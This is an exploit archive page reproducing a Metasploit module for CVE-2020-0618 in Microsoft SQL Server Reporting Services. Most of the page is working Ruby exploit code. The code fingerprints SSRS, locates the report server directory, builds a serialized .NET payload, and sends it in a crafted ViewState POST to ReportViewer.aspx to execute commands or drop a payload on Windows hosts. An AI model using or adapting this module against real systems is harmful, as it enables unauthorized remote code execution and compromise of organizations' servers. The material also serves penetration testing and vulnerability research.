exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SQL Server Reporting Services (SSRS) ViewState Deserialization

SQL Server Reporting Services (SSRS) ViewState Deserialization
Posted Mar 12, 2020
Authored by Soroush Dalili, Spencer McIntyre | Site metasploit.com

A vulnerability exists within Microsoft's SQL Server Reporting Services which can allow an attacker to craft an HTTP POST request with a serialized object to achieve remote code execution. The vulnerability is due to the fact that the serialized blob is not signed by the server.

tags | exploit, remote, web, code execution
advisories | CVE-2020-0618
SHA-256 | 6a7a492f2dc70d4a79f4f4220d5e1a617458fbab09046134c7b6d7f120a2b5aa

SQL Server Reporting Services (SSRS) ViewState Deserialization

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',
'Description' => %q{
A vulnerability exists within Microsoft's SQL Server Reporting Services
which can allow an attacker to craft an HTTP POST request with a
serialized object to achieve remote code execution. The vulnerability is
due to the fact that the serialized blob is not signed by the server.
},
'Author' => [
'Soroush Dalili', # discovery and original PoC
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0618'],
['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
'Privileged' => true,
))

register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end

def send_api_request(*parts)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),
'headers' => {
'Accept' => 'application/json',
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')
return res.get_json_document
end
end

def check
json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services'
CheckCode::Detected
end

def exploit
fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected

json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
directory = json_response['value']
vprint_status("Detected the report server virtual directory as: #{directory}")

state = {vd: directory}
if target['Type'] == :windows_command
execute_command(payload.encoded, state: state)
else
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end

def execute_command(cmd, opts)
state = opts[:state]
viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(cmd))

res = send_request_cgi({
'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),
'method' => 'POST',
'vars_post' => {
'NavigationCorrector$PageState' => 'NeedsCorrection',
'NavigationCorrector$ViewState' => viewstate,
'__VIEWSTATE' => ''
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})

unless res&.code == 200
print_error('Non-200 HTTP response received while trying to execute the command')
end

end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close